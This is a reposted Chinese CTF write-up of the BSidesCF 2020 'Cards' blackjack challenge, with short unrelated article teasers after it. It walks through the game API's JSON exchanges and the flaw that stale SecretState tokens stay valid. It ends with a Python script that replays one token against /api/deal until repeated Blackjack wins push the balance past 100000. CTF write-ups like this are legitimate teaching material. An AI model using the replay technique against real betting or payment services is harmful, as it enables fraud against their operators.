BUU [BSidesCF 2020]Cards

news2024/11/16 0:45:19

BUU [BSidesCF 2020]Cards

开题:

image-20240724181717327

做题目之前先了解一下21点的规则:

二十一点玩法规则和概率在二十一点游戏中,拥有最高点数的玩家获胜,其点数必须等于或低于21点;超过21点的玩家称为爆牌。 2点至10点的牌以牌面的点数来相加,J、Q、K 每张为10点。 A可记为1点或为11点,若玩家会因A而爆牌则A可算为1点,若开牌就是21点,则直接获胜。

如下图k为10,A为11,相加为21,则显示Blackjack,直接获胜。

image-20240724181657630

首先,打开游戏,会先向/api发送POST请求,获取一段json,保存用户信息

{"SecretState":"enc1","PlayerHand":[],"DealerHand":[],"Balance":1000,"GameState":"Idle","SessionState":"Playing","Bet":0}

image-20240724182323477

/api/config发送POST请求,返回题目配置信息,然后下注进行游戏。(目标是赌到100000)

{"Goal":100000,"MinBet":10,"MaxBet":500,"GameHandler":"/game.go","DeckHandler":"/deck.go"}

image-20240724182347133

模拟一下流程看看

1、点击Deal向/api/deal发送POST

{"Bet":10,"SecretState":"enc1"}

image-20240724182501273

然后返回的内容是手牌信息,这时会返回一个新的SecretState

{"SecretState":"enc2","PlayerHand":[["Ace","Spades"],["King","Diamonds"]],"DealerHand":[["King","Clubs"],["10","Hearts"]],"Balance":1015,"GameState":"Blackjack","SessionState":"Playing","Bet":10}

image-20240724182541583

2、点击Hit,向/api/hit发送POST请求

{"SecretState":"enc2"}

image-20240724182740811

返回

{"SecretState":"enc3","PlayerHand":[["7","Spades"],["8","Spades"],["2","Clubs"]],"DealerHand":[["X","X"],["4","Clubs"]],"Balance":500,"GameState":"Playing","SessionState":"Playing","Bet":0}

image-20240724182803910

3、点击Stand,向/api/stand发送POST请求

{"SecretState":"enc3"}

image-20240724182930113

判定是玩家赢,返回新的SecretState,并且把钱加上

{"SecretState":"enc4","PlayerHand":[["7","Spades"],["8","Spades"],["2","Clubs"]],"DealerHand":[["King","Spades"],["4","Clubs"],["Queen","Hearts"]],"Balance":1500,"GameState":"PlayerWins","SessionState":"Playing","Bet":0}

image-20240724182943860

4、点击Deal,向/api/deal发送POST

{"Bet":10,"SecretState":"enc4"}

image-20240724183205773

返回

{"SecretState":"enc5","PlayerHand":[["6","Spades"],["8","Clubs"]],"DealerHand":[["X","X"],["King","Diamonds"]],"Balance":1000,"GameState":"Playing","SessionState":"Playing","Bet":500}

image-20240724183220692

5、点击Stand,向/api/stand发送POST请求

{"SecretState":"enc5"}

image-20240724183231299

返回

{"SecretState":"enc6","PlayerHand":[["6","Spades"],["8","Clubs"]],"DealerHand":[["7","Spades"],["King","Diamonds"]],"Balance":1000,"GameState":"DealerWins","SessionState":"Playing","Bet":0}

image-20240724183324860

6、再点击Deal,向/api/deal发送POST

{"Bet":500,"SecretState":"enc6"}

image-20240724183353046

返回

{"SecretState":"enc7","PlayerHand":[["9","Spades"],["Queen","Diamonds"]],"DealerHand":[["X","X"],["Jack","Hearts"]],"Balance":500,"GameState":"Playing","SessionState":"Playing","Bet":500}

image-20240724183402238

7、点击Stand,向/api/stand发送POST请求

{"SecretState":"enc7"}

image-20240724183411905

返回

{"SecretState":"enc8","PlayerHand":[["9","Spades"],["Queen","Diamonds"]],"DealerHand":[["9","Diamonds"],["Jack","Hearts"]],"Balance":1000,"GameState":"Push","SessionState":"Playing","Bet":0}

image-20240724183420365

8、点击Deal,向/api/deal发送POST

{"SecretState":"enc8"}

image-20240724183501686

返回

{"SecretState":"enc9","PlayerHand":[["Ace","Spades"],["King","Diamonds"]],"DealerHand":[["King","Clubs"],["10","Hearts"]],"Balance":1015,"GameState":"Blackjack","SessionState":"Playing","Bet":10}

enc9=acafd113a31b0dd10b818597fac05afa652be902051954e3e2003e0563e5a961d0cb83442064e115ad0c9db70d438e25387dcee9f403626a270371b63e4dcab60f32cc92d95069789fd862a783ce172fb65fc9516b2787a903f8565aee05bf49964faff35aef8b5b031a7e9939e833bc24440b424344dcce5a993c66f0d6173f588b90304b3aa8f6581e42098879bfe5e91a547d78d4da952c86f5cfb7546043a0b47feb1bc34d5fe171acc5a58186b20016c0907db6c947641fd3dc25e23c9880eeda7eb9d3050a3ef497fd89fd118002d067f365ef7a4c50fb0387cdea862c88e374a492d5f00490185238d968a53115741c8f60319e28a19befe256a9b9212d860e682287be6255016e1f6c7e77f88d5848b3567e7bf7d43fa29891841ee462c6cba3787d5a6ac3b6cc97a052bc47e955a54b8f0bd7d9a1e90a5db0c0bfa54daae6dad39f99dbbc5c6798ab23450a70ddf38efaf479e64b1a0debc1a807b1cb4e30f53249521378d23650182306926d39b56a846074084bdd99eb702f63597c04134301295e6c8e04eb6110ebe18eeacea0d3d64e43251dfba33ed174bc3d3bf42260ea05c925a6f41b1386d5ee0acb33bd9a18839c3930f8936af722bd7b2adb5974650d017e638c1849e82403d35298f7fb3fbd623ba0648f0cdfc158feabb18181386e3ad1836edcb038a5b72c452ddf44437900dc6445f28d15e7ee1b7405870b578079bf8243db1067ff07f70464c170302747a7af37bc7512108cb5b28039d027e88cca86af6bcde0505203719eb86a34a572bc4c23a9f182d41e4a5e0a5e9aedc76e22e422391d04007f6fbde158821f96b2810ea4f6501a19ab3f3080bff2a45b00843905760e0a117acd7019a14fb91c48927427339f9543639ef61ae14598f05e34c7138790f53a1905565a76c108d21b72db693c64530bd299976040e77a70f421e0950196e74c38488a096e7746ae6af8ae090f068b033743ef55d78da427c6209f610a65647aa20d8cc4a3f194b9c73fde226a6600d4a4414cafbb6ab5ba4ce10b0bfd9f6773c18248a809594b4f85a64f8a5e94a4928ce75e40e99f9c8ce887a95c423de84fb1e41bf7f43c521edeb81eecb798b1fe49347895075a40c0d51d288d4a41f8925a0b0c79262b2b793c02ccfdf70690d93521a9e05d090c1a9c61bbc409686d99777ad21c5dfd67ab4c19094ab5a1b370b0ed8b1d14a954707df9393f8bc0239817375817329223bde295429c885fac7f28ba8105b6d208e97351831d2e71927283e5de1631de9467742c93e1e3ae9d2a9a613987f21c6e3efe8ca7b9266267d490a3989639de93cf198339bac1498a1ca2c7cc0a99c4abd18a65bf41fe823583c92aa885997c7e10cf565c3dc9d908e352261d17c941b76b38cfc18f55b4bba5c24a91eb18550c50e28110951337b33541789b9cd24b93ad499662eb8fac31fcfeb35c614c4566ab4a9c6fe5a7f46c6b29568236fb378ccc413b32f68e85eb9e71ea923246c47367bb5a175ce58d86cc6af474b4c9a6aa0dd4a30b74cef006785c2d341a01bc98af9986e0ff1a5e72d6340bd277783b5a2eb89d4c8ddbfc1710475eacfed2c3c6143aebe39908fb6a4661542bde26c88f943283f9491c1468cff5189e7eaf2a481d086aea48d22c55a61b394843a6f9f7bf97504099f45000daec23546a5f3bbb01313033c8b43bf96fd307c7991a8ec0734fd3f2237fce6322462668ab6e65a4a3461e4112d0b16fdd0a2161adaeae22dc857e336bfc9a371e6f7810096839441fe26c307481a8

image-20240724183656214

这里的GameState变成了Blackjack,并且余额直接增加了

如果把enc9作为SecretState,向/api/deal进行重放,直到返回包出现Blackjack,这时会增加金币为赌注bet的数值,返回包的SecretState为enc10,再把enc10作为SecretState,向/api/deal进行重放,这样重复下去,最后余额就会满足条件

思路:

我们在每次请求都会有一个SecretState参数,用来保存游戏状态,并且在客户端和服务端同步。这个参数没法篡改。每次请求,服务端都会生成一个新的SecretState,但是旧的SecretState并不失效,问题就出在于此。
游戏如果赢了,就更新SecretState,如果输了,则不更新SecretState。这样就可以达到类似一种分数只增不减的效果。
但是有个问题,下注之后要开牌的话,必须得用新的SecretState,而下注的时候分数已经扣了,这样输的状态依然存在。
这就需要利用21点里一个规则,如果先发的2张牌已经是21点(black jack),则直接赢。这种状态下可以省去开牌那一步。

首先在这个url下面获取一个secret,因为后面在出牌的时候需要使用

自动化脚本:(赌最大500的会快一点)

import requests

start = "http://7cb4d2f6-afc3-46e0-9fe9-03bae6c9ea58.node5.buuoj.cn:81/api"
deal = start + "/deal"


# 开局
state = requests.post(start).json()["SecretState"]

while True:
    # 下注
    try:
        resp = requests.post(deal, json={"Bet": 500, "SecretState": state}).json()
    except:
        continue

    if resp['GameState'] == 'Blackjack':   #如果稳赢了是Blackjack,就更新SecretState
        state = resp['SecretState']

    print(resp['Balance'])  #输出当前有多少赌资
    if resp['Balance'] > 100000:
        print(resp)
        break

image-20240724184416863

image-20240724184431687

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1946804.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

谷歌新的网站索引策略:将来可能不再为您的网站编制索引

10 年前,在 WordPress 上推出新博客的同时,Google 上的内容几乎是即时索引。 搜索引擎试图尽快向用户提供所有信息,这对内容创作者也有利。 然而,随着时间的推移,情况发生了变化,现在谷歌在索引方面变得极…

RPA软件-影刀使用

流程自动化 影刀将操作进行抽象,分为一下几个对象: 网页自动化 (1) 网页自动化应用场景:网页操作、数据抓取 (2) 网页操作:基础操作-指令操作,智能操作-关联元素&#…

Redis-数据的极速之旅(一)

Redis基础篇 Redis的自我介绍我的核心数据结构1.字符串(String)2.哈希(Hash)3.列表(List)4.集合(Set)5.有序集合(Sorted Set) 高性能原理1.Redis为什么快&…

C# VS2019 Form 图标的修改

一、 窗口的左上角图标 1、Form的属性中找到Icon项直接选择图标(.ico)路径,窗口左上角会自动更新选择更新的图标。 Form属性 2.发布后的exe图标

日常开发记录分享-SQL中的partition分区功能使用

文章目录 需求来源实现思路实施SQL 语句结构内部查询(子查询)外部查询 结果 partition的升级使用解释 验证一下看看分区 分区的一些操作1. 普通查询2. 分区表上的查询优化3. 插入数据4. 删除分区中的数据5. 分区维护操作添加新的分区删除分区重组分区 6.…

Mongodb入门介绍

文章目录 1、Mongodb:NoSQL数据库,分布式的文档型数据库2、适合场景:3、不适合场景:4、概念5、总结 1、Mongodb:NoSQL数据库,分布式的文档型数据库 2、适合场景: 1、web网站数据存储&#xff…

Live555源码阅读笔记:哈希表的实现

😁博客主页😁:🚀https://blog.csdn.net/wkd_007🚀 🤑博客内容🤑:🍭嵌入式开发、Linux、C语言、C、数据结构、音视频🍭 🤣本文内容🤣&a…

星环科技携手东华软件推出一表通报送联合解决方案

随着国家金融监督管理总局“一表通”试点工作的持续推进,星环科技携手东华软件推出了基于星环科技分布式分析型数据库ArgoDB和大数据基础平台TDH的一表通报送联合解决方案,并已在多地实施落地中得到充分验证。 星环科技与东华软件作为战略合作伙伴&…

功能性的安全性保障:TOKEN鉴权校验

1. 引言 在软件开发过程中,确保系统的安全性是至关重要的一环。它不仅关乎保护用户数据的完整性和隐私性,也是维护系统稳定运行的基石。我认为,从宏观角度审视,软件开发的安全性保障主要可分为两大类:功能性的安全性保…

昇思MindSpore 应用学习-DCGAN生成漫画头像-CSDN

日期 心得 昇思MindSpore 应用学习-DCGAN生成漫画头像(AI代码学习) DCGAN生成漫画头像 在下面的教程中,我们将通过示例代码说明DCGAN网络如何设置网络、优化器、如何计算损失函数以及如何初始化模型权重。在本教程中,使用的动…

Python从0到100(四十六):实现管理员登录及测试功能

前言: 零基础学Python:Python从0到100最新最全教程。 想做这件事情很久了,这次我更新了自己所写过的所有博客,汇集成了Python从0到100,共一百节课,帮助大家一个月时间里从零基础到学习Python基础语法、Pyth…

-XX:MaxDirectMemorySize和-Dio.netty.maxDirectMemory区别

-XX:MaxDirectMemorySize是java运行参数,用户控制java程序可以使用的最大直接内存(堆外/本地); -Dio.netty.maxDirectMemory是netty运行参数,用户控制netty程序可以使用的最大直接内存(堆外/本地&#xff…

SQLynx数据库管理工具

背景:业主对网络安全要求比较高,不提供VPN等远程工具,也不能开放3306端口到互联网。那怎么样运维数据库就是个难题?找到了SQLynx这个可以网页访问的数据库管理工具,给大家分享一下。 1.介绍 SQLynx原名SQL Studio&…

如何优化 Selenium 和 BeautifulSoup 的集成以提高数据抓取的效率?

摘要 在互联网时代,数据的价值日益凸显。对于电商网站如京东,其商品信息、用户评价等数据对于市场分析、产品定位等具有重要意义。然而,由于这些网站通常使用 JavaScript 动态生成内容,传统的爬虫技术难以直接获取到完整数据。本…

Vue 实现电子签名并生成签名图片

目录 前言项目结构代码实现 安装依赖创建签名画布组件生成签名图片 总结相关阅读 1. 前言 电子签名在现代Web应用中越来越普遍,例如合同签署、确认表单等。本文将介绍如何使用Vue.js实现一个简单的电子签名功能,并将签名生成图片。 2. 项目结构 项…

基于 LlamaIndex 构建自己的 RAG 知识库

创建虚拟环境用于运行 运行 InternLM 的基础环境,命名为 llamaindex conda create -n llamaindex python3.10 查看存在的环境 conda env list 激活刚刚创建的环境 conda activate llamaindex 安装基本库pytorch,torchvision ,torchaudio,pytorch-cuda 并指定通道&…

动态代理更改Java方法的返回参数(可用于优化feign调用后R对象的统一处理)

动态代理更改Java方法的返回参数(可用于优化feign调用后R对象的统一处理) 需求原始解决方案优化后方案1.首先创建AfterInterface.java2.创建InvocationHandler处理代理方法3. 调用 实际运行场景拓展 需求 某些场景,调用别人的方法&#xff0…

手机空号过滤批量查询的意义及方法

手机空号过滤批量查询是现代营销和通信管理中常用的技术手段,旨在通过批量处理手机号码,筛选出活跃号码和空号等无效号码,以提高营销效率和减少不必要的通信成本。以下是关于手机空号过滤批量查询的详细解答: 一、手机空号过滤批…

3dsMax 设置近平面削减,靠近模型之后看不到模型,看很小的模型放大看不到

3dsMax 设置近平面削减,靠近模型之后看不到模型,看很小的模型放大看不 问题展示 解决办法_1 把这两个东西最上面的拖拽到最上面,最下面的拖拽到最下面。 解决办法_2 勾选视口裁剪 把这两个东西最上面的拖拽到最上面,最下面的…

华为ensp中ISIS原理与配置(超详细)

isis原理与配置 8-20字节; 地址组成:area id,system id,set三部分组成; system id占6个字节;sel占一个,剩下的为area id区域号; system id 唯一, 一般将router id 配…